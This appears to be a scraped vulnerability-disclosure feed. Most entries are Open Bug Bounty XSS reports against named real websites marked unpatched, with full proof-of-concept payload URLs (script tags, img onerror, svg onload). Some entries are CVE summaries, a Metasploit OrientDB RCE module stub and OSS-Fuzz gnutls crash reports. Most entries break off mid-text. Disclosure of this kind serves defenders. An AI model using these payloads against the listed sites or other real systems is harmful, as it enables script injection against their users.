djoglobal.eu XSS vulnerability

Vulnerable URL: http://www.djoglobal.eu/cfcore/services/serviceForm?actionId=80=enUS=enUS=-10=21486=enUS=http%253A%252F%252Fwww.donjoy.eu%252Fcfcore=http%253A%252F%252Fwww.donjoy.eu%252F=false=%22%3E%3Cscript%3Ealert/OPENBUGBOUNTY/%3C/script%3E Details: Description| Value ---|--- Patched:| No...

polestarmotorracing.com XSS vulnerability

Vulnerable URL: http://polestarmotorracing.com/?s=%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

search.lib.unc.edu XSS vulnerability

Vulnerable URL: http://search.lib.unc.edu///search?Ntt="=Keyword=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 22.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

fitstar.com XSS vulnerability

Vulnerable URL: http://fitstar.com//wp-includes/js/plupload/plupload.flash.swf?%target%g=alert%g=/OPENBUGBOUNTY/& Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 155050 VIP website...

CVE-2017-2642

Moodle 3.x has user fullname disclosure on the user preferences page...

Default credentials

discovery-debug in Foreman before 6.2 when the ssh service has been enabled on discovered nodes displays the root password in plaintext in the system journal when used to log in, which allows local users with access to the system journal to obtain the root password by reading the system journal, ...

Stack overflow

Apache OpenMeetings 1.0.0 displays Tomcat version and detailed error stack trace, which is not secure...

ieee.se XSS vulnerability

Vulnerable URL: http://www.ieee.se/chapterindex.php?code=ssit Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7602343 VIP website status:| No Check ieee.se SSL connection:| Grade: F...

panasonic.com XSS vulnerability

Open Bug Bounty ID: OBB-264936 Description| Value ---|--- Affected Website:| panasonic.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

goethe.de XSS vulnerability

Vulnerable URL: https://www.goethe.de/ins/co/es/ver.cfm?fuseaction=events.detail"--!"id=20955826 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 9503 VIP website status:| Yes Check...

primevox.net XSS vulnerability

Vulnerable URL: https://www.primevox.net/contactresults.php?res=2%27%22%26%25%3Cacx%3E%3CScRiPt%20%3Ealert%22OPENBUGBOUNTY%22%3C/ScRiPt%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 05.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

OrientDB 2.2.x Remote Code Execution

This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands. All versions from 2.2.2 up to 2.2.22 should be vulnerable. Module Options msf use exploit/multi/http/orientdb/exec msf undefinedexec show actions ...actions... msf undefinedexec set ACTION msf undefinedex...

ctcu.com.tw XSS vulnerability

Vulnerable URL: https://www.ctcu.com.tw/download/Manuals/index.php?subdir=Industrial%2FIFS%2FIFS-803GSM%20QIG=%22%3E%3Csvg/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

gnutls: Use-of-uninitialized-value in mpn_cmp

Project: https://gitlab.com/gnutls/gnutls.git Detailed report: https://oss-fuzz.com/testcase?key=4828633380159488 Project: gnutls Fuzzer: libFuzzergnutlsclientfuzzer Fuzz target binary: gnutlsclientfuzzer Job Type: libfuzzermsangnutls Platform Id: linux Crash Type: Use-of-uninitialized-value Cras...

gnutls: Use-of-uninitialized-value in ecc_256_modq

Project: https://gitlab.com/gnutls/gnutls.git Detailed report: https://oss-fuzz.com/testcase?key=6126560014761984 Project: gnutls Fuzzer: libFuzzergnutlsclientfuzzer Fuzz target binary: gnutlsclientfuzzer Job Type: libfuzzermsangnutls Platform Id: linux Crash Type: Use-of-uninitialized-value Cras...

businessgifts.in XSS vulnerability

Open Bug Bounty ID: OBB-262506 Description| Value ---|--- Affected Website:| businessgifts.in Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

mp3.teledyski.info XSS vulnerability

Vulnerable URL: http://mp3.teledyski.info/index.html?text=a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3E%3C/title%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E=0=globaltest=eplik=Szukaj Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

demotivation.me XSS vulnerability

Vulnerable URL: http://demotivation.me/search.php?qq=aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 02.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 107734 VIP website...

coolibahbuilding.com.au XSS vulnerability

Open Bug Bounty ID: OBB-258153 Description| Value ---|--- Affected Website:| coolibahbuilding.com.au Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

amanngirrbach.com XSS vulnerability

Vulnerable URL: https://www.amanngirrbach.com/index.php?id=149cache=1=3=%22%3E%3Csvg%2Fonload%3Dprompt%28%27OPENBUGBOUNTY%27%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...